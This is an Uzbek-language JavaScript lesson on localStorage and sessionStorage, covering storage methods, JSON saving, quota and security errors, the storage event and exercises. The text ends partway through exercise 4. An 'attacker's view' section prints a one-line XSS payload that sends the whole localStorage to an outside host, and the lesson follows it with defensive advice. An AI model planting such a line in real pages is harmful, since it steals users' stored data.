Mundarija (38)
- Bu darsda
- 1. Nega bu kerak?
- 2. Web Storage: birinchi yozuv
- 2.1 Yozish va o'qish
- 2.2 O'chirish va sanash
- 2.3 Xususiyat sintaksisi — nega ishlatmaymiz
- 3. Faqat satr
- 3.1 Son, massiv va obyekt nima bo'ladi
- 3.2 JSON bilan saqlash
- 3.3 Ikki yordamchi funksiya
- 3.4 JSON ham hamma narsani saqlamaydi
- 4. localStorage va sessionStorage farqi
- 4.1 Qancha yashaydi va kim ko'radi
- 4.2 Qaysi birini tanlash
- 5. Chegaralar va xatolar
- 5.1 Kvota: taxminan 5 MB
- 5.2 Xotira yopiq bo'lishi mumkin
- 5.3 Sinxron — demak sekin bo'lishi mumkin
- 6. storage hodisasi: boshqa tab o'zgartirdi
- 6.1 Qachon keladi
- 6.2 Live Server bilan sinab ko'ring
- 7. DevTools'da ko'rish
- Hujumchi nigohi
- 8. Ko'p uchraydigan xatolar
- 8.1 Obyektni to'g'ridan-to'g'ri saqlash
- 8.2 JSON.parse ni himoyasiz chaqirish
- 8.3 getItem natijasini son yoki mantiqiy qiymat deb o'ylash
- 8.4 || bilan standart qiymat
- 8.5 Origin'ni chalkashtirish
- 8.6 Kalitlarga nom maydoni bermaslik
- 9. Mashqlar
- 1-mashq (oson): Tanlangan temani eslab qolish
- 2-mashq (o'rta): Bron formasining qoralamasi
- 3-mashq (qiyin): Hamma tablarda bir xil tema
- 4-mashq: Vazifalar qadami — ro'yxat saqlanadi
- 10. Real ishda
- Xulosa
- Manbalar
localStorage va sessionStorage: brauzerda ma'lumot saqlash
Qisqacha:
localStorage— brauzerdagi kichik "daftar":localStorage.setItem("tema", "qorongi")bilan yozasiz,getItem("tema")bilan o'qiysiz, yozuv sahifa va brauzer yopilsa ham qoladi.sessionStoragexuddi shunday ishlaydi, lekin faqat shu tab yopilguncha yashaydi. Ikkalasi ham faqat satr saqlaydi (obyekt —JSON.stringifybilan), har origin uchun taxminan 5 MB joy beradi va maxfiy ma'lumot uchun emas.
Bu darsda
setItem,getItem,removeItem,clear,keyvalengthbilan brauzerda ma'lumot yozasiz, o'qiysiz va o'chirasiz.- Massiv va obyektni JSON orqali saqlaysiz va buzilgan yozuvdan himoyalanasiz.
localStoragevasessionStoragefarqini — qayerda va qancha yashashini — tushuntira olasiz.- Kvota to'lganda yoki xotira yopiq bo'lganda ilova yiqilmasligi uchun
try/catchyozasiz. - Boshqa tabdagi o'zgarishni
storagehodisasi bilan sezasiz. vazifalarilovasi sahifa yangilansa ham ro'yxatni yo'qotmaydigan bo'ladi.
Oldin bilishingiz kerak: Brauzer xotirasi va xavfsizlik modeli, JSON asoslari, try / catch / finally, fetch asoslari.
1. Nega bu kerak?
10-qism oxirida vazifalar v2 tayyor bo'ldi: klasslar, modullar, eksport va import. Lekin bitta katta kamchiligi bor. Sahifani yangilasangiz (F5), qo'shgan hamma vazifangiz yo'qoladi va ro'yxat boshlang'ich uchtaga qaytadi.
Sabab oddiy: JavaScript o'zgaruvchilari sahifa bilan birga yashaydi. Sahifa yangilansa — xotira tozalanadi, kod boshidan ishlaydi. Ma'lumot sahifadan uzoqroq yashashi uchun uni brauzerning o'z omboriga yozish kerak.
Kursda bunday va'dalar ko'p yig'ilgan:
- Qorong'i rejim darsida
tema.jsfaylini "11-qismda o'qiy olasiz" deb ko'chirgan edingiz — ulocalStoragedan tanlangan temani o'qiydi. - Sahifa hayot sikli darsida bron formasining qoralamasini
hiddenholatida saqlash kerak edi. - Brauzer xotirasi darsida "ro'yxatni JSON'siz saqlash — xato, kodini keyin yozamiz" degan edik.
Bugun uchalasini ham yopamiz. Brauzer xotirasi darsidagi o'xshatishni eslang: localStorage — uydagi shkaf, narsa siz olib tashlamaguningizcha turadi. sessionStorage — stol ustidagi qog'oz, xonadan chiqsangiz tozalanadi.
2. Web Storage: birinchi yozuv
2.1 Yozish va o'qish
Web Storage — brauzerning "kalit — qiymat" ombori. Unga ikki obyekt orqali kirasiz: localStorage va sessionStorage. Ikkalasi ham global — window ning xususiyati, import qilish shart emas.
Eng ko'p ishlatiladigan ikki metod:
setItem(kalit, qiymat)— kalit ostiga qiymat yozadi. Kalit bor bo'lsa — ustidan yozadi.getItem(kalit)— qiymatni qaytaradi. Bunday kalit bo'lmasa —null.
Quyidagi sahifa necha marta ochilganingizni sanaydi. Ishga tushiring, keyin «Qayta ishga tushirish» ni bir necha marta bosing:
<p id="xabar"></p>
<script>
const oldingi = localStorage.getItem("tashriflar");
console.log("O'qildi:", oldingi);
const soni = Number(oldingi) + 1;
localStorage.setItem("tashriflar", soni);
const xabar = document.getElementById("xabar");
xabar.textContent = `Siz bu sahifani ${soni}-marta ochyapsiz`;
console.log(localStorage);
</script>Konsolda (birinchi marta):
O'qildi: null
Storage {tashriflar: '1', length: 1}Ikkinchi ishga tushirishda konsolda O'qildi: 1 va Storage {tashriflar: '2', length: 1} chiqadi, sahifada esa "2-marta". O'zgaruvchilar har safar noldan boshlanadi, lekin localStorage dagi yozuv joyida qoldi.
Kodni qatorma-qator ko'ramiz:
- Birinchi ochilishda
tashriflarkaliti yo'q —getItemnullqaytardi. Number(null)—0. Shuning uchunsonibirinchi safar 1 bo'ldi.setItemsoni yozdi. Konsoldagi'1'qo'shtirnoqda — buni keyingi bo'limda ochamiz.console.log(localStorage)omborning hammasini ko'rsatdi: kalitlar valength(yozuvlar soni).
Maslahat: Natija oynasi xavfsizlik uchun alohida "qutida" ishlaydi va brauzerning haqiqiy xotirasiga kira olmaydi. Shuning uchun sayt unga xuddi shunday ishlaydigan o'rinbosar beradi: «Qayta ishga tushirish» yoki sahifani yangilash — "qayta yuklash" kabi, «Xotirani tozalash» tugmasi esa hammasini o'chiradi. Haqiqiy saytingizda — brauzerning o'z xotirasi.
2.2 O'chirish va sanash
Yana to'rtta a'zo bor:
| A'zo | Nima qiladi |
|---|---|
removeItem(kalit) |
Bitta yozuvni o'chiradi (yo'q bo'lsa — jim o'tadi) |
clear() |
Shu origin'ning hamma yozuvini o'chiradi |
length |
Yozuvlar soni |
key(n) |
n-yozuvning kalitini qaytaradi |
key(n) bilan hamma yozuvni aylanib chiqish mumkin. Lekin kalitlar tartibi kafolatlanmaydi: Chrome ularni o'z ichki tartibida beradi, qo'shilish tartibida emas. Tartib muhim bo'lsa — ro'yxatni bitta kalitda massiv qilib saqlang (keyingi bo'limda).
Diqqat:
clear()faqat sizning kalitlaringizni emas, shu origin'dagi hamma kodning yozuvlarini o'chiradi. Bitta saytda bir nechta ilova ishlasa (masalanlogin.github.iodagi portfolio vavazifalar),clear()qo'shnining ma'lumotini ham yo'q qiladi. O'zingizniki uchun —removeItem.
2.3 Xususiyat sintaksisi — nega ishlatmaymiz
localStorage.tema = "qorongi" ham ishlaydi, localStorage.tema bilan o'qish ham. Lekin bu yo'l tuzoqli. Kalit nomi metod nomiga to'g'ri kelsa, nima bo'lishini ko'ring:
localStorage.setItem("key", "a1");
console.log(localStorage.getItem("key")); // a1
console.log(typeof localStorage.key); // function
localStorage.length = 99;
console.log(localStorage.length); // 1localStorage.key — baribir metod, yozuv emas. length ga yozish esa jim e'tiborsiz qoldirildi. Har doim setItem/getItem ishlating — ular har qanday kalit bilan bir xil ishlaydi.
Tekshirib ko'ring:
localStorage.getItem("ism")nullqaytardi. Bu "ismkaliti yo'q" degani, yoki "qiymati bo'sh satr" degani ham bo'lishi mumkinmi?
Javob
Faqat "kalit yo'q". Bo'sh satr yozilgan bo'lsa, getItem "" qaytaradi — bu null emas. Shuning uchun "yozuv bormi?" savoliga getItem(...) === null bilan javob beriladi.
3. Faqat satr
3.1 Son, massiv va obyekt nima bo'ladi
Web Storage faqat satr saqlaydi. Boshqa turdagi qiymatni bersangiz, u String(...) bilan satrga aylantiriladi. Bu nimaga olib kelishini ko'ring:
<script>
localStorage.setItem("narx", 35000);
localStorage.setItem("bormi", true);
localStorage.setItem("taomlar", ["osh", "manti"]);
localStorage.setItem("buyurtma", { taom: "osh", soni: 2 });
console.log(typeof localStorage.getItem("narx"));
console.log(localStorage.getItem("narx") + 5000);
console.log(localStorage.getItem("taomlar"));
console.log(localStorage.getItem("buyurtma"));
console.log(localStorage.getItem("yoq"));
localStorage.removeItem("bormi");
console.log(localStorage.length);
localStorage.clear();
console.log(localStorage);
</script>Konsolda:
string
350005000
osh,manti
[object Object]
null
3
Storage {length: 0}Uchta tuzoq birdaniga:
- Son satrga aylandi.
"35000" + 5000— qo'shish emas, satrlarni yopishtirish:350005000. O'qigandan keyinNumber(...)kerak. - Massiv vergulli matnga aylandi.
"osh,manti"— bu endi massiv emas. Taom nomida vergul bo'lsa, ajratib ham bo'lmaydi. - Obyekt butunlay yo'qoldi.
[object Object]— asl ma'lumotdan hech narsa qolmadi. Brauzer xotirasi darsida Application panelida aynan shu yozuvni ko'rgan edik.
3.2 JSON bilan saqlash
Yechim — JSON asoslari darsidagi juftlik: yozishdan oldin JSON.stringify, o'qigandan keyin JSON.parse. JSON — satr, demak Web Storage uni qabul qiladi va tuzilma saqlanadi:
<script>
const savat = [
{ taom: "Osh", narx: 35000, soni: 2 },
{ taom: "Ko'k choy", narx: 5000, soni: 1 },
];
localStorage.setItem("savat", JSON.stringify(savat));
const matn = localStorage.getItem("savat");
console.log(matn);
const qaytgan = JSON.parse(matn);
const jami = qaytgan.reduce((s, q) => s + q.narx * q.soni, 0);
console.log(qaytgan.length, jami);
</script>Konsolda:
[{"taom":"Osh","narx":35000,"soni":2},{"taom":"Ko'k choy","narx":5000,"soni":1}]
2 75000Son son bo'lib qaytdi, massiv — massiv. Bitta kalit ostida butun ro'yxat turibdi va uning tartibi aniq.
3.3 Ikki yordamchi funksiya
Har safar stringify/parse yozish — takror. Bundan tashqari, JSON.parse buzilgan matnda xato tashlaydi. Yozuvni kim buzishi mumkin? Foydalanuvchi DevTools'da qo'lda tahrirlagan bo'lishi mumkin. Yoki ilovaning eski versiyasi boshqa formatda yozgan. Shuning uchun o'qish funksiyasi xatoni o'zi ushlaydi:
<script>
function jsonYoz(kalit, qiymat) {
localStorage.setItem(kalit, JSON.stringify(qiymat));
}
function jsonOqi(kalit, standart) {
const matn = localStorage.getItem(kalit);
if (matn === null) {
return standart;
}
try {
return JSON.parse(matn);
} catch {
console.warn(`«${kalit}» buzuq — standart qiymat olindi`);
return standart;
}
}
console.log(jsonOqi("sozlama", { til: "uz" }));
jsonYoz("sozlama", { til: "ru", ovoz: true });
console.log(jsonOqi("sozlama", { til: "uz" }));
localStorage.setItem("sozlama", "{til: ru");
console.log(jsonOqi("sozlama", { til: "uz" }));
</script>Konsolda:
{til: 'uz'}
{til: 'ru', ovoz: true}
«sozlama» buzuq — standart qiymat olindi
{til: 'uz'}Uch holat — uch xil xulq. Yozuv yo'q — standart qiymat. Yozuv to'g'ri — o'qilgan qiymat. Yozuv buzuq — ogohlantirish va standart qiymat, sahifa esa yiqilmadi.
Nega catch dan keyin (xato) yo'q? Xato obyekti bizga kerak emas — faqat "buzildi" degan fakt muhim. catch { ... } — try / catch / finally darsida ko'rgan qisqa shakl.
3.4 JSON ham hamma narsani saqlamaydi
JSON — faqat oddiy ma'lumot: satr, son, true/false, null, massiv va oddiy obyekt. Qolganlari yo'l-yo'lakay o'zgaradi (JSON chuqur):
| Qiymat | JSON.stringify dan keyin |
O'qiganda |
|---|---|---|
new Date() |
"2026-10-05T09:00:00.000Z" |
satr, Date emas |
new Map([["a", 1]]) |
{} |
bo'sh obyekt — ma'lumot yo'qoldi |
new Set([1, 2]) |
{} |
bo'sh obyekt |
funksiya, undefined |
tushib qoladi | yo'q |
| klass nusxasi | toJSON yoki ochiq maydonlar |
oddiy obyekt, metodlarsiz |
Oxirgi qator vazifalar uchun muhim. Vazifa nusxasini saqlab, qayta o'qisangiz, almashtir() metodi bo'lmaydi — faqat {id, matn, bajarildi}. Shuning uchun 10-qismda toJSON va Vazifa.dan yozgan edik: biri saqlashga tayyorlaydi, ikkinchisi o'qilgan oddiy obyektdan yana nusxa yasaydi.
Tekshirib ko'ring:
localStorage.setItem("soni", 0)yozildi.if (localStorage.getItem("soni")) { ... }ichidagi kod bajariladimi?
Javob
Ha, bajariladi. getItem son emas, satr qaytaradi: "0". Bo'sh bo'lmagan har qanday satr truthy — hatto "0" va "false" ham. To'g'ri tekshiruv: Number(localStorage.getItem("soni")) > 0 yoki "yozuv bormi" uchun !== null.
4. localStorage va sessionStorage farqi
4.1 Qancha yashaydi va kim ko'radi
Ikki obyektning metodlari bir xil. Farq — ma'lumot qancha yashashi va kim ko'rishida:
localStorage |
sessionStorage |
|
|---|---|---|
| Qancha yashaydi | O'chirilmaguncha (brauzer yopilsa ham) | Shu tab yopilguncha |
Sahifani yangilash (F5) |
Qoladi | Qoladi |
| Shu saytning boshqa tabi | Ko'radi (umumiy) | Ko'rmaydi (har tabda o'zi) |
| Ajratish | Origin bo'yicha | Origin + tab bo'yicha |
Ikkalasi ham origin bo'yicha ajratilgan (Origin): sxema, host va port bir xil bo'lsagina bitta ombor. Bu Live Server bilan ishlaganda kutilmagan tuzoq beradi. http://127.0.0.1:5500 va http://localhost:5500 — ikki xil origin, demak ikki xil ombor. Bir manzilda saqlagan ma'lumotingiz ikkinchisida ko'rinmaydi.
sessionStorage dagi bitta nozik joy: Chrome'da tabni "Dublikat" (Duplicate) qilsangiz, yangi tab eski tabning sessionStorage idan nusxa oladi. Shundan keyin ular mustaqil — biridagi o'zgarish ikkinchisiga o'tmaydi.
4.2 Qaysi birini tanlash
Savol beradigan bitta qoida: "Foydalanuvchi ertaga qaytsa, shu ma'lumot kerakmi?"
- Ha →
localStorage: tema, til,vazifalarro'yxati, "bu oynani boshqa ko'rsatma" belgisi. - Yo'q, faqat shu tashrif davomida →
sessionStorage: ko'p qadamli formaning yarim to'ldirilgan qadamlari, sahifadagi ochiq bo'lim, "qaysi tabdan keldim" belgisi.
Bron formasining qoralamasi — yaxshi misol. Dilshod aka formani to'ldirayotganda tasodifan sahifani yangilasa, yozganlari qolishi kerak. Lekin ertaga ikkinchi kompyuterdan kirgan boshqa odam kechagi qoralamani ko'rmasligi kerak. Bu — sessionStorage ning ishi (2-mashq).
5. Chegaralar va xatolar
5.1 Kvota: taxminan 5 MB
Har origin uchun joy cheklangan. Chrome 154 da o'lchadik: kalit va qiymatlarning umumiy uzunligi 5 242 880 belgigacha. Bu taxminan 5 million harf — yuz minglab vazifaga yetadi, lekin rasm yoki video uchun juda kam. Firefox va Safari'da ham chegara taxminan shuncha.
Joy tugasa, setItem xato tashlaydi:
<script>
try {
localStorage.setItem("katta", "x".repeat(6_000_000));
} catch (xato) {
console.log(xato.name);
console.log(xato.message);
}
console.log(localStorage.getItem("katta"));
</script>Konsolda:
QuotaExceededError
Failed to execute 'setItem' on 'Storage': Setting the value of 'katta' exceeded the quota.
nullTarjimasi: "Storage da setItem bajarilmadi: 'katta' qiymatini yozish kvotadan oshdi." Yozuv umuman qo'shilmadi — getItem null. Xato nomi — QuotaExceededError ("kvota oshdi xatosi").
Bu xato kutilmaganda ham chiqishi mumkin: siz 1 KB yozyapsiz, lekin shu origin'dagi boshqa kod omborni allaqachon to'ldirib qo'ygan. Shuning uchun setItem har doim try ichida bo'lgani ma'qul.
5.2 Xotira yopiq bo'lishi mumkin
Ba'zan localStorage ga umuman kirib bo'lmaydi. Masalan, foydalanuvchi brauzer sozlamalarida "barcha cookie va sayt ma'lumotlarini bloklash" ni yoqqan bo'lsa. Yoki sahifa sandbox'li iframe ichida ochilgan bo'lsa — xuddi bizning natija oynamiz kabi. Bunda getItem emas, localStorage so'zining o'zi xato tashlaydi. Chrome 154 da sandbox'li iframe'da olingan haqiqiy xabar:
SecurityError: Failed to read the 'localStorage' property from 'Window': The document is sandboxed and lacks the 'allow-same-origin' flag.Tarjimasi: "Xavfsizlik xatosi: Window ning localStorage xususiyatini o'qib bo'lmadi: hujjat sandbox'da va unda allow-same-origin ruxsati yo'q." Cookie'lar bloklangan brauzerda matn boshqacha bo'ladi, lekin nomi bir xil — SecurityError.
Maxfiy rejim (inkognito) haqida: zamonaviy brauzerlarda u yerda localStorage ishlaydi. Faqat maxfiy oynalar yopilganda hammasi o'chadi. Eski Safari (10-versiya va undan eski) maxfiy rejimda har setItem da QuotaExceededError tashlardi — eski kodlarda shu sababli yozilgan try larni uchratasiz.
Xulosa bitta: Web Storage — bo'lishi mumkin, lekin kafolatlanmagan imkoniyat. Undagi xato ilovani yiqitmasin — u holda ilova shunchaki "saqlamasdan" ishlashda davom etadi. Qorong'i rejim darsidagi tema.js aynan shunday yozilgan edi:
try {
const tema = localStorage.getItem("tema");
if (tema === "yorug" || tema === "qorongi") {
document.documentElement.dataset.tema = tema;
}
} catch {
// localStorage yopiq bo'lsa — tizim rejimi qoladi
}Endi har qatorini o'qiy olasiz: getItem ham try ichida, chunki localStorage ga murojaatning o'zi xato tashlashi mumkin. Qiymat oq ro'yxat bilan tekshiriladi — DevTools'da qo'lda yozilgan "qizil" sahifani buzmaydi.
5.3 Sinxron — demak sekin bo'lishi mumkin
localStorage ning hamma metodlari sinxron: setItem qaytguncha JavaScript kutadi (Sinxron va asinxron kod). Kichik yozuvda bu sezilmaydi. Lekin har bosishda megabaytlik JSON'ni stringify qilib yozish sahifaning yagona thread'ini bloklaydi va interfeys "qotadi".
Qoida: Web Storage — kichik ma'lumot uchun (sozlamalar, kichik ro'yxatlar). Katta yoki ko'p ma'lumot — asinxron ishlaydigan IndexedDB ga, uni ikki dars keyin o'rganamiz.
Tekshirib ko'ring: Sardor shunday yozdi:
const tema = localStorage.getItem("tema") ?? "tizim";. Foydalanuvchining brauzerida sayt ma'lumotlari bloklangan. Nima bo'ladi?
Javob
Sahifa skripti SecurityError bilan to'xtaydi. ?? faqat null yoki undefined qiymatni almashtiradi, xatoni esa ushlamaydi — xato localStorage ga murojaat paytidayoq chiqadi. To'g'risi — try { ... } catch { ... } ichida o'qish va catch da "tizim" ni olish.
6. storage hodisasi: boshqa tab o'zgartirdi
6.1 Qachon keladi
localStorage umumiy: bir tabda yozilgan narsa shu saytning boshqa tabida ham ko'rinadi. Lekin boshqa tab buni qanday biladi? U har soniyada getItem qilib turmaydi-ku.
Buning uchun storage hodisasi bor. Bir tab localStorage ni o'zgartirsa, brauzer shu origin'ning boshqa hamma tablariga window da storage hodisasini yuboradi. Sxemada uchta tab: 1-tab yozadi, 2- va 3-tab xabar oladi, 1-tabning o'ziga esa hech narsa kelmaydi:
sequenceDiagram
participant A as 1-tab
participant L as localStorage
participant B as 2-tab
participant C as 3-tab
A->>L: setItem("tema", "qorongi")
L-->>B: storage hodisasi
L-->>C: storage hodisasi
Note over A: 1-tabga hodisa kelmaydiTinglovchi oddiy addEventListener bilan qo'yiladi:
addEventListener("storage", (event) => {
console.log("storage:", event.key, event.oldValue, event.newValue);
console.log("url:", event.url);
console.log(event.storageArea === localStorage);
});Hodisa obyektida:
key— o'zgargan kalit (clear()bo'lsa —null).oldValuevanewValue— eski va yangi qiymat (yangi yozuvdaoldValue—null, o'chirishdanewValue—null).url— o'zgartirgan sahifaning manzili.storageArea— qaysi ombor o'zgardi.
6.2 Live Server bilan sinab ko'ring
Bu hodisani natija oynasida ko'rsatib bo'lmaydi — u bitta oyna, tab emas. Kompyuteringizda sinang:
- VS Code'da yangi papka, ichida
index.html: yuqoridagi kod<script>ichida. - Live Server bilan oching va manzilni ikkinchi tabda ham oching.
- Ikkala tabda DevTools konsolini oching (
F12). - Birinchi tab konsolida yozing:
localStorage.setItem("tema", "qorongi").
Ikkinchi tab konsolida shu chiqadi (Chrome 154 da tekshirildi):
storage: tema null qorongi
url: http://127.0.0.1:5500/
trueBirinchi tabda esa — hech narsa. Hodisa o'zgartirgan tabning o'ziga kelmaydi. Bu ataylab shunday: o'zgartirgan kod nima qilganini o'zi biladi.
Yana uchta kuzatish (shu sinovdan):
- Xuddi shu qiymatni qayta yozsangiz (
"qorongi"ustiga"qorongi"), hodisa kelmaydi — o'zgarish yo'q. removeItem("tema")dan keyinnewValue—null.clear()dan keyinkey,oldValuevanewValue— uchalasinull.
Real misol: foydalanuvchi bir tabda temani qorong'iga o'tkazdi — boshqa tablar ham darhol qorong'i bo'ladi (3-mashqda yozasiz). Tablar orasidagi to'liq aloqa — BroadcastChannel va boshqa usullar — Oyna va tablar orasida aloqa darsida.
7. DevTools'da ko'rish
Chrome DevTools → Application paneli → chapda Storage → Local storage va Session storage. Ichida origin'lar ro'yxati, tanlasangiz — kalit va qiymatlar jadvali.
Bu yerda qo'lda:
- qiymatni ikki marta bosib tahrirlash (buzilgan JSON bilan sinash uchun qulay);
- yozuvni tanlab
Deletebilan o'chirish; - hammasini tozalash (yuqoridagi ⊘ tugmasi) mumkin.
Firefox'da xuddi shu narsa Storage panelida, Safari'da — Storage yorlig'ida.
Hujumchi nigohi
Hujum: saytda bitta XSS zaifligi bor — masalan, izoh matni innerHTML bilan chiqariladi (Kontentni o'zgartirish va XSS xavfi). Hujumchi izohga skript yashiradi. Bu skript sizning sahifangizda, sizning origin'ingiz nomidan ishlaydi. U bitta qatorda butun omborni o'z serveriga yuboradi:
// ❌ hujumchi kodi — sahifaga XSS orqali tushgan
new Image().src = "https://example.com/olish?d=" +
encodeURIComponent(JSON.stringify(localStorage));Web Storage'da hech qanday himoya yo'q: sahifadagi har qanday skript — o'zingizniki ham, reklama skripti ham, hujumchiniki ham — hammasini o'qiydi.
Himoya:
- Maxfiy narsani saqlamang. Parol, karta raqami, pasport ma'lumoti — hech qachon. Kirish tokeni ham
localStorageuchun yaxshi joy emas: uniHttpOnlycookie'da saqlash afzal — JavaScript uni umuman ko'rmaydi (Cookie'lar JS'dan). - O'qilgan qiymatga ishonmang. Uni DevTools'da yoki hujumchi skripti o'zgartirgan bo'lishi mumkin.
tema.jsdagi oq ro'yxat vavazifalardagipaketniOqitekshiruvi — shu uchun. innerHTMLga qo'ymang. Saqlangan matnni sahifaga faqattextContentbilan chiqaring — aks holda bitta buzilgan yozuv har ochilishda XSS'ni qayta ishga tushiradi.
8. Ko'p uchraydigan xatolar
8.1 Obyektni to'g'ridan-to'g'ri saqlash
setItem("savat", savat) — Application panelida [object Object] yoki osh,manti. Tuzatish: JSON.stringify bilan yozing, JSON.parse bilan o'qing.
8.2 JSON.parse ni himoyasiz chaqirish
Buzilgan yozuvda JSON.parse SyntaxError tashlaydi va ilova ishga tushmay qoladi — foydalanuvchi omborni o'zi tozalamaguncha. Tuzatish: jsonOqi kabi try/catch li o'qish funksiyasi.
8.3 getItem natijasini son yoki mantiqiy qiymat deb o'ylash
getItem("bormi") === true hech qachon bajarilmaydi — qiymat "true" satri. Tuzatish: === "true" bilan solishtiring yoki qiymatni JSON qilib saqlang.
8.4 || bilan standart qiymat
JSON.parse(matn) || boshlangich — saqlangan ro'yxat bo'sh bo'lsa ([]), u truthy, muammo yo'q. Lekin saqlangan son 0 yoki satr "" bo'lsa, || ularni "yo'q" deb tashlab yuboradi. Tuzatish: "yozuv yo'q" holatini null bilan tekshiring va ?? ishlating.
8.5 Origin'ni chalkashtirish
"Kecha saqlagan edim, bugun yo'q!" — kecha localhost:5500, bugun 127.0.0.1:5500 da ochilgan. Yoki port o'zgargan. Tuzatish: Application panelida origin nomiga qarang.
8.6 Kalitlarga nom maydoni bermaslik
setItem("royxat", ...) — portfolio ham, vazifalar ham bitta login.github.io origin'ida. Ikkalasi bir xil kalitga yozsa, bir-birining ma'lumotini buzadi. Tuzatish: kalitga ilova nomi va versiyasini qo'shing: "vazifalar:v3".
9. Mashqlar
1-mashq (oson): Tanlangan temani eslab qolish
classList va stillarni JS'dan boshqarish darsida temaniQoy(tema) funksiyasini yozgan edingiz va "tanlovni saqlashni 11-qismda qo'shamiz" degan edik. Quyidagi sahifada uchta radio tugma bor. Tanlov localStorage ning "tema" kalitida saqlansin, sahifa qayta ochilganda esa o'sha radio belgilangan bo'lsin. Sinash: tanlang → «Qayta ishga tushirish».
Ishora: tanlovni change hodisasida (input va change) yozing; o'qishda qiymatni ["tizim", "yorug", "qorongi"] ro'yxati bilan tekshiring; ikkalasi ham try ichida.
Yechim
<style>
body { font: 1rem/1.5 system-ui, sans-serif; margin: 1rem; }
[data-tema="qorongi"] body { background: #1b1f1b; color: #eee; }
</style>
<fieldset>
<legend>Mavzu</legend>
<label>
<input type="radio" name="tema" value="tizim"> Tizim
</label>
<label>
<input type="radio" name="tema" value="yorug"> Yorug'
</label>
<label>
<input type="radio" name="tema" value="qorongi"> Qorong'i
</label>
</fieldset>
<script>
const TEMALAR = ["tizim", "yorug", "qorongi"];
function temaniQoy(tema) {
const html = document.documentElement;
if (tema === "tizim") {
delete html.dataset.tema;
} else {
html.dataset.tema = tema;
}
}
function saqlanganTema() {
try {
const tema = localStorage.getItem("tema");
return TEMALAR.includes(tema) ? tema : "tizim";
} catch {
return "tizim";
}
}
const boshida = saqlanganTema();
temaniQoy(boshida);
document.querySelector(`[value="${boshida}"]`).checked = true;
console.log("Saqlangan tema:", boshida);
const guruh = document.querySelector("fieldset");
guruh.addEventListener("change", (event) => {
const tema = event.target.value;
temaniQoy(tema);
try {
localStorage.setItem("tema", tema);
} catch {
console.warn("Tema saqlanmadi");
}
});
</script>Konsolda:
Saqlangan tema: tizim"Qorong'i" ni tanlab, qayta ishga tushirsangiz — konsolda Saqlangan tema: qorongi, fon esa darhol to'q. querySelector ichidagi boshida — faqat oq ro'yxatdagi uch so'zdan biri, shuning uchun selektor xavfsiz. Tinglovchi bitta — fieldset da: radio'larning change hodisasi unga ko'tariladi (Event delegation).
2-mashq (o'rta): Bron formasining qoralamasi
Formada ikki maydon: ism va mehmonlar soni. Har yozilgan harfda (input hodisasi) ikkala qiymat bitta JSON obyekt bo'lib sessionStorage ning "bron:qoralama" kalitiga yozilsin. Sahifa ochilganda qoralama bo'lsa — maydonlarga qaytsin va konsolga Qoralama tiklandi chiqsin. Forma yuborilganda qoralama o'chirilsin. Nega bu yerda sessionStorage? Javobni ham yozing.
Ishora: formaning hamma maydonini bitta tinglovchi bilan ushlang (form dagi input hodisasi); qiymatlarni FormData bilan oling (FormData) — Object.fromEntries(new FormData(forma)) oddiy obyekt beradi.
Yechim
<form id="bron">
<label>Ism <input name="ism"></label>
<label>Mehmonlar <input name="soni" type="number"></label>
<button>Bron qilish</button>
</form>
<script>
const KALIT = "bron:qoralama";
const forma = document.getElementById("bron");
function qoralamaniOl() {
try {
return JSON.parse(sessionStorage.getItem(KALIT));
} catch {
return null;
}
}
const qoralama = qoralamaniOl();
if (qoralama !== null) {
forma.elements.ism.value = qoralama.ism ?? "";
forma.elements.soni.value = qoralama.soni ?? "";
console.log("Qoralama tiklandi");
} else {
console.log("Qoralama yo'q");
}
forma.addEventListener("input", () => {
const malumot = Object.fromEntries(new FormData(forma));
try {
sessionStorage.setItem(KALIT, JSON.stringify(malumot));
} catch {
// saqlanmasa — forma baribir ishlayveradi
}
});
forma.addEventListener("submit", () => {
sessionStorage.removeItem(KALIT);
});
</script>Konsolda:
Qoralama yo'qIsm yozib, «Qayta ishga tushirish» ni bossangiz — ism joyida, konsolda Qoralama tiklandi. «Bron qilish» dan keyin qayta ishga tushirsangiz — yana Qoralama yo'q.
JSON.parse(null) — null qaytaradi (null satrga aylanib "null" bo'ladi, bu esa to'g'ri JSON). Shuning uchun "yozuv yo'q" holati alohida if siz ham to'g'ri ishladi.
Nega sessionStorage: qoralama faqat shu tashrif uchun kerak. Dilshod aka sahifani tasodifan yangilasa — ma'lumoti qoladi. Lekin tabni yopib ketsa, keyingi odam (umumiy kompyuterda) uning ismini ko'rmaydi. Haqiqiy loyihada Sahifa hayot sikli darsidagi kabi visibilitychange da ham saqlash mumkin — har harfda yozish kichik formada muammo emas.
3-mashq (qiyin): Hamma tablarda bir xil tema
1-mashqdagi sahifani Live Server'da ikki tabda oching. Bir tabda temani o'zgartirsangiz, ikkinchisida ham darhol o'zgarsin — qayta yuklamasdan, radio tugmasi ham. Ishora: storage hodisasi faqat boshqa tablarga keladi; event.key ni tekshiring va event.newValue ni oq ro'yxat bilan tekshirishni unutmang.
Yechim
1-mashq kodining oxiriga qo'shing:
addEventListener("storage", (event) => {
if (event.key !== "tema" && event.key !== null) {
return;
}
const tema = TEMALAR.includes(event.newValue)
? event.newValue
: "tizim";
temaniQoy(tema);
document.querySelector(`[value="${tema}"]`).checked = true;
});event.key === null — boshqa tabda clear() chaqirilgan: temani "tizim" ga qaytaramiz. removeItem("tema") bo'lsa ham newValue — null, oq ro'yxatdan o'tmaydi va yana "tizim". Bu tab o'zi yozganda hodisa olmaydi — o'zgarishni change tinglovchisi allaqachon qo'llagan.
Kodni kurs/mashqlar/11/26-tema/index.html ga saqlang va commit qiling:
git add 11/26-tema/index.html
git commit -m "11/26: tema localStorage va storage hodisasi bilan"4-mashq: Vazifalar qadami — ro'yxat saqlanadi
vazifalar v2 sahifa yangilanganda hamma o'zgarishni yo'qotadi. Endi ro'yxat brauzer xotirasida yashaydi.
- Yangi branch:
git switch -c feature/saqlash. - Yangi modul
assets/js/saqlash.js:export const SAQLASH_KALITI = "vazifalar:v3";saqla(royxat)— ro'yxatnieksportMatnibilan JSON qilib yozadi; muvaffaqiyatli bo'lsatrue, xato bo'lsaconsole.warnvafalse.yukla()— saqlangan matnnipaketniOqibilan o'qiydi va tekshirilgan ma'lumotlar massivini qaytaradi. Yozuv yo'q, ombor yopiq yoki matn buzuq bo'lsa —null(buzuq bo'lsaconsole.warnbilan).
